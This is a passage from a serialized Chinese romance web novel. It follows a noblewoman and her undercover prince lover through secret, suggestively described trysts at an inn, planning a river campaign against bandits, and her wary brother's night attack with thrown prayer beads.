劈头盖脸砸过来一个问题,喻初晴有点懵:“这是从哪儿的出来的结论?” 见她没有第一时间否定,萧风岚又问:“还真的有!不会还不止一个吧?” 不等她回答,他的脸色瞬间垮掉了,马上要被气哭即视感。 泪水还没掉,说话已经带着哭腔了:“你是不是想跟我说,要我大度一些,容纳你的新宠?” 喻初晴头疼。 她回馈了一个灵魂疑问:“萧风岚,你到底是怎么认定自己宠物的身份的?” 尽管没给他正室的身份吧,可她也没找别人,甚至已经在考虑谈婚论嫁的事、要给他名分了。 他这小三做派、勾栏手段,到底是肿么肥四! “你又不爱我,高兴了就逗逗我,心情好可以哄哄我。不高兴了给我一个眼神让我自己体会!”萧风岚说得有板有眼的:“需要我的时候,我就是个角儿;不需要我的时候,我就是狗币!” 后面这一句,成功把喻初晴逗得噗呲一笑。 有一说一,绿茶小狗虽然脑回路惊人,但真的…… 情绪价值拉满! 他茶茶的很安心! “我都要哭了你还笑!”萧风岚红着眼睛,指控她:“你凉薄、冷漠、无情,有我没我对你来说,差别不大!失去我,你也不会痛苦!” 他越说越认真了。 喻初晴怔住。 她认真思索片刻,忽然道:“这句话不对。” “哪句?”萧风岚说了太多话,自己都不记得到底都说了啥了。 喻初晴抬起手来摸了摸他的脸,拇指的指腹在他眼角按了按,她说道:“失去你,我会痛的。” 第172章 万一你怀上了,怎么办 这句话对萧风岚来说,实在是太撩了! 他结结实实愣住,瞪着眼睛看她,眼里全都是不可置信:“晴晴,你再说一遍?” 那儿更兴奋了,也更精神了! 喻初晴很是惯着他,着重强调道:“真的,会痛。” 比她松口要给名分还要狂烈的喜悦,瞬间将萧风岚侵吞,他好一会儿才消化了她的话,呼吸都急促了:“晴晴!” 千言万语,到了嘴边却什么话都说不出来了。 这个时候,拥抱已经足够代替所有语言。 他猛地将她狠狠抱住,力气大得恨不能把她嵌入自己的胸膛,恨不能二人融为一体,永生永世不分离。 听到她说这样的话,比占有她一千次、一万次,都要让他感受到满足! “晴晴……”萧风岚的眼眶忍不住湿润了:“你一定不要丢掉我,你离开我能活,我离开你活不了!” 要不是气氛不对,喻初晴高低地戳穿他这话:怎么活不了?分开两个多月了,不也活着吗! 她绝对不可能相信这种话。 相信他是爱自己的,却不相信他说的天长地久。 但…… 算了,他爱这么说就这么说吧。 反正她明确知道,即便分开这么久,自己对他的喜爱非但没有褪色,甚至偶尔会对他牵肠挂肚。 当她正视自己的感觉,因此也开始思考“名分”的事。 可即便如此,她还是很清醒。 确认自己清醒地跨步走进萧风岚的情网里。 或许,正因为她从来都很清醒,才越发让萧风没有安全感,总感觉自己无法抓住她。 然而,要什么紧呢? 男人只有挂在墙上以后才会老实,是不能惯的。 他们不会过分珍惜很容易到手的东西,也不会太过在乎已经到手的东西。 感情,在他得不到的时候,就很珍贵。 得到了,就并不稀奇了。 让他永远觉得抓不住她,在他眼里,她永远都是他想珍惜的那个! “你肩膀的伤……”喻初晴心清目明,并不想深入谈“你爱我我爱你”这种话题。 她转而问:“把纱布拆开,我看看?” 萧风岚却没让她动,坐直了身子与她四目相对,讨好地问:“晚点再看行不行?” “嗯?”喻初晴挑眉。 他就笑了,笑出了她最喜欢、最无法抗拒的样子,蛊惑性地问:“我们去床上?” 说着,摆胯撞了撞她。 “你打算带伤奋战?”喻初晴秒懂,斜眼飞他。 她其实不反感。 喜欢就是享受,跟他在一块儿,快活她就接受。 说不好听,喻初晴是一个表里不一的人:表面上她循规蹈矩、按部就班,实际上她一身反骨。 她珍惜自己的感情,并不乱性,但也懂得取悦自己,享受一切美好事物,不会被任何教条掌控。 妇德标兵或许认为她未婚与男人谈性不谈爱,是放荡。 但,凭什么男人可以享受世界,女人却要被规则束缚? 被传统思想驯化了的妇德标兵的想法,谁在乎呢! 自古以来,女人一旦登到了一定的地位,就会像男人一样享受这个世界的所有资源。 男人享受财富、权势、女人。 女人一样可以享受财富、权势、男人! 规则,掌握在金字塔顶端的人手里。 因为她还没站上去,所以她表面上驯服于这个世界的规则,但—— 只要给她上去了,一切就不好说了! “这点伤算什么呀?”萧风岚被她一个眼神飞过来,便知道她答应了,一把将她横抱起来,朝床榻那边去,笑嘻嘻地道:“一点小伤连床都上不了,算什么男人!” 将她放在床榻上,他俯身贴上去,蛊惑地道:“那还凭什么做你喻初晴的男人,你甚至都看不起,又怎么可能会喜欢?” 喻初晴笑了,抬起手臂圈住他的脖子,道:“说得对,太弱的男人别说到我床上,就是多看一眼都不愿意!” “哼!我还不了解你么!” 哭过,萧风岚的眼圈还是红的,但丝毫不影响他的攻击力。 喻初晴仰躺着,看着上方迅速脱衣裳的男人,脑海里忽然浮现出一句话: 眼泪是男人最好的嫁妆! 嗯,她get到了! 谁也没提熄灯的事,甚至不拉床帐。 在一起一年多了,熟门熟路的,萧狗子实在是太了解如何取悦她,很快就让她兴奋起来了。 但喻初晴知晓,这种客栈的隔音不太好,正常说话隔壁听不见,但深更半夜的,摇床的动静大一点,肯定能听到。 她控制自己,尽可能压低嗓音。 呼吸凌乱,鼻息交缠。 忍字头上一把刀,但这种怕惊扰隔壁的压抑,未尝不是一种刺激。 克制不喊叫出声,喻初晴的精神高度紧绷,显得更敏感了。 萧风岚太久没吃上这口了,可还是尽可能先让她开心。 喻初晴迷迷蒙蒙之间,理智已经出走了大半,本以为要上垒了,等着他开冲。 却不想…… 他突然停下来了! 她微微睁眼,迷茫地问:“怎么了?” “晴晴……”萧风岚薄唇贴在她耳畔低语:“我没准备小衣,什么都没有。万一你怀上了,怎么办?” 充满压抑的痛苦,甚至绝望。 喻初晴实在没想到这个问题。 萧风岚清清白白、干干净净的一个人,在她之前是一点儿经验都没有,他所有的技术都是她调教出来的。 他俩刚在一起,喻初晴就给他科普避孕知识了。 非但避孕,还有生理期这些事,也都毫无隐藏地给他说。 拒绝生理期羞耻、拒绝两性羞耻,这是珍爱自己、保护自己的一种方式。 萧风岚很重视这件事,所有能用的法子都试过,从来不用她操心这种事,所以她压根没想到。 此时,身上的男人汗淋淋的,明明临近中秋的气候了,还是好像从水里捞出来的一样。 箭在弦上不得发! 喻初晴迟疑了一下,决定放纵他一次:“那就不用吧,恰好在建京城里,明日我去配一副药喝。” 主要是分别太久,她也想这口了,有点难忍。 “你不是说长期服药对身子不好吗?”萧风岚抬起头来,尽管忍得很难受,还是十分认真:“我不想你受任何风险!” “那……”喻初晴把问题扔回给他:“不做了?” 萧风岚:“……” 尽管难受得要爆炸了,他咬咬牙,还是坐了起来:“明天晚上再来!” 还没忘记把被子拉过来给她盖上。 喻初晴得到了自由,身体却是余韵未消。 没得到满足,但她还是挺高兴的。 不枉她日常宠着惯着他,他一直是这样,把她的安危放在第一位! 她侧过身子,用手肘支起头颅,调笑似的问:“你就没想过,如果我怀上了,父凭子贵,我爹他们就不反对了?” 第173章 把他教得超水平发挥 萧风岚再恋爱脑,也没傻到信这种话:“得了吧!我信了你的邪!” 他哼唧唧地道:“你家那群——表面看都是小绵羊、实际上都是大老虎的一大家子,真发生这种事,你确定他们会不反对?我看,定然是直接去父留子吧?” “呵!”喻初晴忍不住笑了。 是吧,他心机狗,可能纯爱,却绝不是恋爱脑! 她笑道:“行吧,没被米青虫占据大脑。” 萧风岚哼哼,没再说话。 他难受。 人不在身边想得难受,人在身边了,不能做到最后一步,更难受! 喻初晴听着背对着自己的沉重呼吸,叹了一口气,道:“过来,我帮你。” 萧风岚惊喜扭头:“怎么帮?” 喻初晴坐起来,勾住他的脖子让他躺倒,道:“别搞出太大动静,万一隔壁住了人,整出麻烦让我社死,以后你都别想在住外面的时候吃上饭!” “我保证不!”萧风岚果断把自己的衣裳拿过来,用嘴巴咬住。 那眼神眨巴眨巴的,仿佛在说:快来蹂躏我吧,怎么凶残怎么来! 还别说,分外带感! 喻初晴朝这只“脆弱”小白兔伸出了魔爪…… 闹完了,两人躺在床上。 喻初晴问:“你什么时候回去那边?” “还没吃饱饭呢,这就赶我走了?”萧风岚右臂搂着她,额头贴在她的耳朵旁。 十分依赖的姿势。 喻初晴挺受用。 她的确是大女子主义,受不了依靠别人半点,反而让别人依靠自己,她会很有成就感。 不然,以前也不会养着南阳侯府毫无怨言了。 撇开他们品性差的话,养着一群仓鼠,也有成就感的。 她闭着眼睛,道:“我没说赶你走吧?问个问题,你就不能正常回答么?” 认识的时间长了,萧风岚是很了解她的。 知道她喜欢什么,他就表现出来什么。 此时亦然:“你平时话少,我多拐几个弯,你不是就会多跟我说几句话了?” 喻初晴无语:“说得好像我平时不搭理你似的。” 萧狗子却振振有词:“刚才我问你舒不舒服,爽不爽,你就没搭理我!” 喻初晴的回应是一把捂住他的嘴:“闭嘴,送我回去了!” 享受,不代表她能接受成天挂在嘴巴说! “好吧。”萧风岚依依不舍起来:“晴晴,明天晚上我还把你偷出来?” 见她朝自己看了一眼,他连忙道:“你放心,我明天一定准备好,保证伺候好你!” 喻初晴翻了个白眼:“……” 算了,不想跟他扯那么多。 毕竟,原本他也不是嘴上这么浪的人,都是她把他带入门,把他教得超水平发挥了! “我先给你伤口换下药。”她坐起来穿衣裳,“明日在这家客栈天字三号房,你过来,我们谈一下目前的战局。” 明明刚刚还意乱情迷,平息下来了便冷静如斯。 拔掉无情莫过于此! 萧风岚看着她这副模样,便万分没有安全感。 但刚刚喝上肉汤,他就不闹了,乖乖起来让她给自己换药。 喻初晴拆开他上臂随意包裹的纱布,看到新鲜的血迹流出来,她无奈:“谁让你方才这么浪的,都把伤口崩开了。明日,我给你拿更好恢复的药来。” 不想,她的好意却被萧风岚拒绝了:“不用。好太快,容易引起怀疑。” 喻初晴瞥他:“你就非得用苦肉计,才能做好这个卧底?” “非得。”萧风岚眼眸里都是认真:“常利还好,他更讲义气。但常胜是个防心非常重的人,像我这样突然出现的、他弟弟的救命恩人,他是相当防备的。他观察了我很久,只有我无能、弱鸡,才能让他放下戒心。” 喻初晴知道卧底不好做。 她有点心疼他这一身伤疤,但也知道他不是个蠢人,但凡有不伤害自己的方式,他肯定不会选。 最终,只叹息一声,道:“这次后,不要再涉险只为了来见我了。等到战事顺利结束,自当相见。” 萧风岚一开始还不是很情愿,想说“我能想到办法的”,但想了想—— 尽快结束战局,到时候她要领着他见父母,要给名分了! 这么一想,他就跟打了鸡血似的:“好!都听晴晴的。” 包扎好伤口后,萧风岚悄悄将喻初晴送回她的房间。 覆雨和樵打掩护打得很好,没有惊动喻慕文和喻今歌。 次日。 天字三号房。 喻昔词交代喻慕文,让他和小弟保护好喻初晴,别让她落单。 但架不住她自己要落单。 她说今天不想出门,想在客栈里一个人静静,喻慕文也不可能不允许。 喻今歌更是她的脑残粉,完全不会多想。 临近午时,她便过来了。 合欢木棉在雅间里伺候,覆雨和樵在外面把风。 安全起见,萧风岚没从门口进,还是从窗户进来的。 “你也是梁上君子当过瘾了。”喻初晴嘴上取笑他,却是第一时间给他倒了一杯桂花酿。 萧风岚笑嘻嘻地道:“这还得是晴晴教得好!” 以前他没有当梁上君子的喜好,自从跟她在一起后,就有了! 没有名分的人只能偷偷摸摸的。 说多了都是泪! 又被幽怨地瞥了一眼,喻初晴不以为意,直奔正题:“现在的战局情况怎么样?你觉得,南征军想要赢,大概需要多少时间?” 萧风岚如实说道:“晴晴,虽然我朝思暮想早点结束,但实际上却是:胶着的可能更大。倘使双方实力相当,始终没找到突破口,三五年都不一定能解决。” 喻初晴冷不丁道:“不,必须在三个月内解决!” 不然,她还要不要回祖籍了? “哦?”萧风岚还是了解她的,要不是想到了什么,绝对不敢托大说三个月内解决。 他问:“你是不是想到了什么好办法?” 喻初晴把地图摆在桌面上。 “好办法说不上,就是分析一下当前的局势。” 她把当前淮明郡与长丰郡对峙的情况三两句带过,然后道:“常胜常利若是信任你,你要不要推荐他们搭船链,一点一点地铺开江岸,尽量缩短江面的距离。如此一来,可减少进攻难度!” 没有条件,创造条件来一个逆赤壁之战! 第174章 庆幸自己当初脑子有病 为了避免被喻慕文抓包,喻初晴没有在天字三号房待太久。 她与萧风岚把建议大概说了一遍,萧风岚不断提出辩证,两人进行了一轮头脑风暴,一而再地打磨,终于得出一个行得通的方略。 后续,就要看萧风岚的行动成果了! “三个月内解决,否则冬日一来,若是江面结冰了的话,很多事就不好讲了。”喻初晴想到的是:“夏河的气候条件,江面结冰不会太厚。而响马盗都是南方人,多的是水性好的人。在那种环境下,南征军更容易吃亏。” “嗯,我理会得。”萧风岚下定决心:“那我明日一早就回淮明,尽快把这个事办成,一定不要拖到腊月。最好,还能争取回帝京过年。” 儿女私情很重要,但他更清楚:想要长久地在一起,还是得把眼前的事儿给处理了。 尤其是!!! 想到解决响马盗后,他就有名分了,顿时干劲满满。 两人本来就是并排坐着的——自然是萧风岚粘着,非要坐一起,此时可方便了,转身便是一抱。 “晴晴,这一去又要有好长时间见不上你了。” “你怎么不说,今天马上就回淮明去?”喻初晴任由他抱着。 男人的怀抱热烘烘的,驱散了临近中秋的凉意。 萧风岚下巴压在她肩头,懒懒地道:“那不行,我耗费那么多功夫才能渡河,见你一面我就要走,我不甘心!多等一天,又不是不会天亮!” “两面。”喻初晴订正他的说法。 萧风岚愣了下,旋即又不高兴了:“你这算得是不是太抠了?” 喻初晴非要跟他对着来:“事实如此,不要放大自己心里的遐想。” “……”萧风岚一怒之下,怒了一下。 他很快调整好了:“算了,争这个没意思,不管吵赢了吵输了,都是我输。” 吵赢了,他不见得快活。 吵输了……喻初晴不高兴,他能开心就有鬼了! “晴晴,我上晌已经将东西备妥了。”他转移了话题:“你放心,都是处理得很干净的,没乱七八糟的味儿。” 昨晚吃亏大了,他一大早就去打探,将羊肠小衣准备好了。 喻初晴斜眼睨他,笑了笑,凑过去亲了亲他的唇,道:“嗯,乖巧、懂事,值得嘉奖!” 想要马儿跑,就要让马儿吃饱。 她深谙其中道理。 “能不懂事么?”萧风岚哼唧唧地道:“但凡有一点不懂事,你就又要把我抛弃了!咱俩在一起这一年多,你都多少次说不要我了?” 尽管嘴上说着不满的话,他的唇角却是很难压下去。 如今是习惯了,其实最初在一起的时候,他时常怀疑自己有病。 男子汉大丈夫,怎么会愿意把女子高高捧起,时时刻刻哄着她开心,甚至愿意当她踏脚的石头、登云的阶梯! 他竟然会喜欢看她高贵在云端上睥睨自己的模样,愿意放低自己的身段仰望她,顺应她的倒反天罡。 但时日长了,他只有一个想法:庆幸自己当初脑子有病! 表面上是哄她,实际上把她哄好后,她给的回馈,能让他享受双倍快乐! “那都是多久以前的事了?我最近没说不要你。”喻初晴绝不肯背锅,哪怕的确是事实。 萧风岚黏糊糊地道:“那还不是因为,最近我都没在你身边。远香近臭嘛!天天往你跟前凑,你就嫌弃我了。好一段时间不见,你又觉得我香了!” 喻初晴唇角含笑,侧过身来与他面对面,双臂攀附在他肩头,亲昵地道:“嗯,还是你最香。” “嗯?”萧风岚警觉地道:“你拿我跟谁比,得出来这个结论?” 没有比较,哪来的“最”? 不等她回答,他的脸就垮下去了:“喻初晴,你是不是背着我养男宠了?” 喻初晴:“……” 刚夸他才多久? 果然不能惯,一惯就上天! 她拧住他的脸颊,没好气地道:“我能养谁?我要真有点风吹草动,渔樵二人还能不给你送消息?你把他们留下来保护我,难道没有特别叮嘱他们,要防备我身边出现任何男人?” 这一说,萧风岚便只能讪笑:“你都知道啦?” “用脚趾头猜,都猜得到好吗!”喻初晴翻了个白眼,松开了手。 萧风岚见她绷着脸,顾不得脸上的疼,连忙为自己辩解:“我这是为了捍卫自己的地位,可不能让什么阿猫阿狗,趁我不在的时候撬我的墙角!” 喻初晴盯着他。 那小眼神,当真是…… 她刚才是真用力,把他的脸给掐红了。 想了想,她伸手抚摸了一下红了一片的那块,道:“目前而言,长得有你好看的,没你对我好。可能对我好的,长得没你好看。嗯,还是你最得我心!” 这话,是真渣。 萧风岚狐疑地看着她。 如果出现了比他好的男人,他是丝毫不怀疑,她会毫不留情地踹了他! “帝京所有可能与你适婚的,我全部都命渔樵他们打探过了。想比我好看、还要比我对你好,绝无可能!” 他振振有词地道:“我愿意跪下来吃你的脚丫子,他们谁能!” 喻初晴:“……” 得,这种事还说得挺得意! 他说的跪,跪的是床。 吃脚丫子,说的是情迷时候,上头了什么事都干得出来! 她不说话,萧风岚搂着她的腰,又开始黏糊糊模式:“晴晴,我会对你好的,你想我怎么样我就怎么样,你不要看其他男人,好不好?” 喻初晴绝不会提醒他:你是正室身份,不要用那小三做派、勾栏手段来对付我! 转念一想好像忽然明白了:世人讨厌小三,都是因为受不了被三的气。 但若是这个小三是自己养的,又有谁能不享受? 那些男人宁愿打原配,也要护着小三,岂非就是这个道理? 当然,现实中的三儿说什么真爱,大部分都是假的。 人与人之间,有所图,才是真! 她纵着萧风岚各种绿茶闹腾,也无非是情趣罢了。 “嗯,看你表现。”她凑上去,在这张自己很爱的盛世美颜上,轻轻落下一吻。 萧风岚立马开心了,脸上笑开了花。 喻初晴又在自己方才掐红的地方轻轻一亲,道:“身在敌营,安全第一。萧风岚,你要好好的。” 这话,让萧风岚似乎听到了她的一点真心! 生怕惊着了她,这点真心又缩回去了,他不敢咋呼去问,只心底里那朵喜悦之花,悄然绽放! 他低头要亲她的唇,忽然听到外面喻今歌的声音:“姐,我给你买了一些好吃的!” 门被撞开! 萧风岚:“……” 又来! 第175章 这一撞面不得尬穿地心? 喻今歌买了一堆东西,左右手都拎满了。 早晨喻初晴说要一个人待会想事儿,喻慕文自然不放心,自然要问她去那里。 为了让哥哥弟弟安心,她说实话:就在客栈天字三号房。 因此,哥俩都知道。 喻今歌买完东西回来,蹭蹭蹭上得楼来,见覆雨和那个叫乔木的护卫守在门外,也不觉得奇怪。 咋咋呼呼地就冲过来了:“姐,我给你买了一些好吃的!” “小公子,县主可能在歇息,您稍微等会儿。” 覆雨要拦他,但喻今歌一个灵活走位,越过她的防备,一屁股将门给撞开了! “小公子!”她不由心口一惊,连忙朝屋里看去。 只见喻初晴独自一人坐在窗前,面前摆放着夏河流域的地图,抬头朝门口方向看过来。 “小弟。”她蹙眉责怪:“第一,出门在外这样咋呼,大老远就嚷嚷,容易被人当肥羊盯着。第二,你就这么跑进来,万一我在换衣裳呢?你不尴尬?” 被训斥了,喻今歌的脸登时红了。 主要是后面这个说法,的确是他莽撞。 他呐呐解释:“我……我买了好多好东西,太兴奋了,没想那么多。” 说着,把手里提着的一堆东西,放到桌上,然后认真鞠了一躬:“对不起姐,是我太鲁莽了!我以后不会了!” “下不为例。”喻初晴知道,少年人有时候太上头了,很难循规蹈矩。 平时他也不这样,想来是长这么大第一次出远门,的确有点不稳重。 十三岁的半大孩子,也不好要求他稳重。 不过,这种事还是要敲打敲打,毕竟她是个有秘密的人! 要不是萧风岚身手好、动作快,听到声音第一时间便窜出了窗子外面,这一撞面不得尬穿地心? “哦,我知道了!”喻今歌在她对面坐下:“姐你先尝尝,这南方的吃食,跟帝京真的有好大不同!” 正要给她弄吃的,一抬头却见她唇角有些肿,脖子上好像也有点红痕,不由一愣:“姐你这怎么回事?” 他伸手指了指:“这里肿了,这里红斑?” “无事。”喻初晴没用“蚊子咬”这种蹩脚的理由,平静回答:“方才思考问题,无意识自己弄的。” 人沉浸在思考里,的确会做很多无意识的事。 无意识咬指甲,抠出血来;无意识抠桌子,把手指头抠破; 无意识咬唇,咬肿了;无意识抠脖子,抠红了。 都很正常! 她淡定如斯。 喻今歌不疑有他,重新把心思放在眼前的吃食上:“姐,你快来尝尝!这南方好多小吃呀,我每样吃一点点,肚子都不够装的!” “嗯。”喻初晴坦然跟着转移话题:“咱爸妈原是江南人,先前我就命人打探,要给家里招个江南厨子。但还没看好呢,就要做准备南下了。我便想,咱们到时候直接在这边请个厨子,带回帝京就好了。” 她早就注意到了:孩子的适应能力强,兄弟们都能吃惯帝京吃食。而父母亲都还是南方口味,即便在帝京生活了十几年,大米昂贵,都要吃白米饭。 奈何在帝京打探过,也让管家去请南方厨子来,做出来的差强人意毫无惊艳,便只能作罢。 “这样也好呀!”喻今歌是在帝京出生、在帝京长大的,他是北方人口味。 但少年人对什么都好奇,吃到南方的吃食,觉得特别有意思,迫不及待给姐姐献宝。 喻初晴陪他吃了一点东西。 姐弟俩便回后面那栋他们住的楼,将那些小吃送去给喻慕文。 “昨夜……”喻慕文看向喻初晴,眸中似有怀疑,话却又说得不经意:“我起夜的时候,怎么感觉你房里没人?” 喻初晴冷静如斯,道:“三哥感觉错了吧?我可没有梦游的习惯。” 怎么可能没人? 她防心很重,既然知晓左右住着哥哥弟弟,为了以防万一,在萧风岚把她带走之前,她就安排合欢在她屋里、睡在她床上了。 只要不亲眼见到,绝无可能发现她不在房间内! “也许是我睡蒙了,感觉错了。”喻慕文没有追问,从善如流地顺着她的话。 不管他信没信,喻初晴果断转移话题:“三哥,我们明天回去吧,有些消息,要让人送去给二哥。” 有萧风岚的里应外合,淮明这一战,应该能很快结束。 南征军攻占淮明郡以后,必定是往西面长丰郡进攻,这就意味着:只要拿下淮明,夏河下游两岸的船渡就能重新开启。 届时,他们也能渡河了。 战局后续如何,他们可以不必理会,直接回祖籍。 喻慕文颔首:“好!” 是夜。 萧风岚来的时候,喻初晴让他不走昨夜的路,而是拐了点弯儿。 进了他那边客房后,她才道:“我怀疑,你昨夜的行迹,被三哥发现了一点端倪。但他可能也只是猜疑与我有关,没能肯定。” 白日喻慕文说的话,就是试探。 喻家兄弟对她都很好,但因为她不是跟他们一起长大的,很多事他们并不敢直接训斥。 何况,他们也知晓她性子强势,不太能接受被管教。 因此,喻慕文和喻昔词一样,在有些事上,跟她说话难免小心翼翼,怕引起她的反感,也怕破坏了刚刚建立、尚未稳固的兄妹感情。 萧风岚深深地叹了一口气:“你说我好歹也是堂堂的王爷,是皇叔!怎么就上了你这条贼船,见不得光了呢?” 喻初晴笑吟吟地道:“哦,尚未启航,你现在下船还来得及。” 萧风岚脸色一变,怒瞪她:“你什么意思?昨天才说好要给我名分的事,又要反悔了是吧?喻初晴你冷心冷情的女人,你的恶行简直罄竹难书!” 不能怪他要闹,也真不是他作。 而是:她对他出尔反尔的事,实在是太多了。 “……”喻初晴无奈。 初期骗他太多,都没信用了。 她耐着性子问:“那我今年以来,不是都没有对你食言过了么?” “我怎么知道你什么时候会故态重萌!”萧风岚说着说着难免激动,又要气哭了。 喻初晴叹了一口气,主动亲了他一下,道:“乖啦。我给你讲个事儿。” 第176章 晴晴喜欢凶的,我最了解 相聚在一起的时间太短,有很多事没讲到,有些事其实也不用讲。 但有件事,她必须早做预防。 “嗯?”萧风岚果然被她转移了注意力:“什么事?” 她便道:“太子跟皇帝请旨,以南征为由,要求册立太子妃的事延后。但我根据多方判断,猜测他很可能跟皇帝达成了什么协议。” 萧风岚迅速明白过来:“譬如……立下战功,要赐婚于你?” 他的脸立即黑了,怒气汹汹地道:“萧景明敢撬我的墙角,我杀了他!把他溺毙在夏河、直接葬入南陵!” “我必须提醒你一个事。”相比起他的情绪不稳定,喻初晴一点儿也不激动,相反还一针见血地摘取重点:“你十一月年满二十,距离被赐婚应该没多久了?” 萧风岚怔了一瞬,旋即又得意地笑了:“嘿,在我决定以身入局的时候,跟皇帝已经商量好了,要我去办这件事,就得记我一功。让他下了一道密旨给我,允许我的婚事自己做主!就算皇帝没了,都无人能掌控我的婚事!” 喻初晴:“……” 好家伙,不愧都姓萧,做事都这么狗。 关键他也没告诉她这件事! “因为你没答应与我谈婚,我都没敢直接跟皇帝订下你。”萧风岚说着说着,又生气了:“他萧景明好大的脸,我都与你在一起这么久了,早有夫妻之实尚且还要尊重你的意愿。你跟他萧景明有半个铜板的关系吗?他就敢这样做!” 思来想去,他还是觉得心里不安:“不行,我得给皇帝写一封密信,直接跟他要赐婚圣旨,必须先萧景明一步!” 说完,想到她还没答应了,他又看向她,有些忐忑地道:“要不这样吧,我叫皇帝给我空白的圣旨?若萧景明那兔崽子敢跟我抢人,我就填上你的名儿,拿先他一步的圣旨压他!” 说来说去,还是尊重她。 只要她没点头应婚,要来了圣旨赐婚,他都没敢硬来。 喻初晴对此很是满意。 训狗,狗子听话的时候,是要给奖励的。 她主动倾身抱住他的腰,脸贴着他的胸膛,难得小鸟依人,答应了:“可以。只要你能拿到空白赐婚圣旨,就先这么做。” 至于萧景明那边…… 她不会完全寄希望于萧风岚这边。 她做事,只要给她足够的时间,便不会让自己只有一条路走。 若是萧景明班师回朝拿战功逼婚,到时候她是拒绝不了的,不然就是寒了将士的心,那她多年来苦心经营的“人心”,就一朝崩溃了。 那就…… 让萧景明不能赶在她回京之前回朝! 在萧景明求旨之前,就封上他的嘴! “真的!”萧风岚大喜过望,捧着她的脸问:“晴晴,这可是你亲口答应的!” 喻初晴笑了笑,仰头亲了他的下巴一下,道:“是,我答应的,反悔我就是小狗!” 不说这句话还好,一说,萧风岚便垂眸睨她,将信将疑。 想信,又不敢信! 真是被骗怕了! 喻初晴失笑,凑上去咬住薄唇,在他唇边低语:“你还浪费时间在这儿跟自己过不去,天可就快亮了,到时候你的小衣就白准备了!” “那必须不能!”萧风岚猛地将她抱起,送到了床榻上。 地下情最要注意的,便是不能留下任何痕迹在显眼的位置。 萧风岚是真狗子,喜欢做记号占地盘的,尤其钟爱在她身上留痕,但在她的警告下,他很老实。 但,越是不让做的事,越是心痒难耐。 “晴晴……”他的唇从她下巴滑下,在脆弱的咽喉停留亲了亲,继续往下,含糊不清地问:“我什么时候才能咬你的锁骨?成亲后,可以么?” 喻初晴倒也不吊着他:“成亲后,冬天戴围脖的时候。你总不能让我顶着这种痕迹出去,让别人看见吧?” “晴晴说得对!” 她的鼓励瞬间刺激了这狗东西,他心里一高兴,就格外卖力。 略过了锁骨不敢动,往下方,在她心口上烙印。 他的技术是喻初晴一点一点指导出来的,全然都是按照她的性X癖量身打造。 如何让她更舒坦、如何让她更快活,他都很清楚。 除了最初在一起,他没经验横冲直撞让她难绷过外,上手后通常都会送她至山巅,让她得到满意后,他才会放开攻伐。 昨天没能停车入库,今天终于一把销魂。 头皮发麻,浑身畅快,灵魂颤抖。 每每这一刻,萧风岚只觉得,拿命来换都是值得的! 尤其是,他们已经分开两个多月了。 差点都要旱死了,终于久旱逢寒霖,难免格外凶狠。 喻初晴已经消耗了不少体力,此时有点受不住,轻抽一口气,咬唇尽量压低声音:“你轻点儿。” “不怕。”萧风岚低下头去亲她的耳垂,道:“你昨儿个不是难为情么?我今日把隔壁的两间房,都要了!隔壁都没人!” 喻初晴薅他的头发:“我说的是叫你力气轻点儿,不是说话轻点儿!” 萧风岚不肯:“轻了你不够舒服,晴晴喜欢凶的,我最了解!” 喻初晴:“……” 狗币! 她扪心自问,喜欢凶的吗? 好像…… 是的! 她日常情绪太稳定,只有在这种时候才会进入失控的境地。 失控、放纵,才是真正的解压! 但,凶的结果就是…… 后来她怎么睡着的,没印象的了。 萧风岚吃饱喝足了,也不敢疏忽。 他抱着熟睡的喻初晴躺了一会儿,又给她擦干净身子、将寝衣套好。 这么弄,她都没醒。 她防心太重、日常绷得很紧,若非已经很信任他了,不会放任自己如此沉睡。 看得他心口发软,忍不住低头亲了又亲。 尽管再怎么恋恋不舍,时辰差不多了,他也不得不用被单包裹住心爱的人,将她送回她自己的客房去。 把人放下后,想到明日他就要回淮明郡,下一次见面只怕就是大军得胜以后,他现在已经开始惆怅。 看着她的睡颜,人还没走,他已经开始想她了! 合欢轻轻扯了扯他的袖子,指了指隔壁屋子,用气声道:“王爷该走了,三公子很警觉的,白日都表示怀疑。万一被他发现,就不好了。” 萧风岚没办法,只得颔首。 他从窗子掠出。 不想,他刚落地,夜幕之中一个非常小的黑点朝他袭来。 数月卧底生活,早就让萧风岚警觉性更高,他旋身一扭腰,避开了这一个黑点。 可是,避开一个,后面却有数不清的黑点,朝他的各处要害打来! 速度不但快,还相当狠辣! ——看小说过头,差点忘记更新啦 第177章 是你的男宠? 危险降临,萧风岚并不慌乱。 他当机立断将外袍脱下,席卷而去,顺利将所有黑点团住,以柔克刚。 不想,竟然还有一颗殿后,直朝他脑门打来。 他侧身闪避,出手一捞,顺着运动轨迹将那黑点攥在手里。 低头一看,竟然是一粒佛珠。 他立即明白:是喻慕文! 好厉害的暗器手法! 喻初晴的这些哥哥,没一个省油的灯! 关键是,一个戴佛珠的书生,出手怎会这般狠辣、杀气这么重? 要是别人他高低得反杀回去。 可这个人是他未来的舅子,他没有半点反击的心思,也不敢逗留,一挥黑袍裹住自己的头,快速朝黑暗处掠去。 他前脚刚走,喻慕文的身影出现在花园里。 正要奋起直追,忽然听到覆雨喊了一句:“三公子,你怎么在这儿?” 喻慕文身形一顿。 他回过身来,见覆雨朝自己走来,不由蹙眉道:“深更半夜,你不在晴晴身边,怎么出来闲逛?” 覆雨发丝凌乱,像是急匆匆之下套上了衣裳出来的。 她恭谨答道:“婢子听到了院子里像是有什么动静,便出来看看。没想到是三公子,您起夜吗?” 喻慕文仰头,看着喻初晴所住屋子的方向。 黑暗中,他的脸色几乎跟夜色融合在了一起。 他冷声问:“有贼人从晴晴屋里出来,你们没守在她身边,丝毫没察觉?” 覆雨心口一惊。 三公子何其敏锐的洞察力、何其高的智商,他肯定是想到了:有“贼人”闯入县主的屋里,她专门出来阻止他去追,只有一个可能—— 那人只怕不是“贼”,而是认识的! 换句话说:喻初晴夜会“贼人”! 覆雨沉吟片刻,果断道:“不是贼人。三公子已然知晓,主子她有暗哨在这边。自当明白,半夜三更地来,自然是来送消息的!” 今夜的事情瞒不住,那就说一半真话。 先前喻初晴说过,她有内应在响马盗那边,对喻家兄弟而言这不是秘密。 正好拿出来做掩护! 喻慕文似乎信了。 他一挥袍袖,一阵柔和的内劲儿卷起一团风。 风力盘旋之下,散落在地上的佛珠一粒粒回到他的袖笼之中。 “既如此,那我就放心了。早歇吧!” 他朝覆雨一点头,便盘着佛珠,回自己房里去了。 但覆雨知道,他肯定不会轻易相信自己的说辞。 于是,在晨起的时候,小声把这件事汇报给了喻初晴。 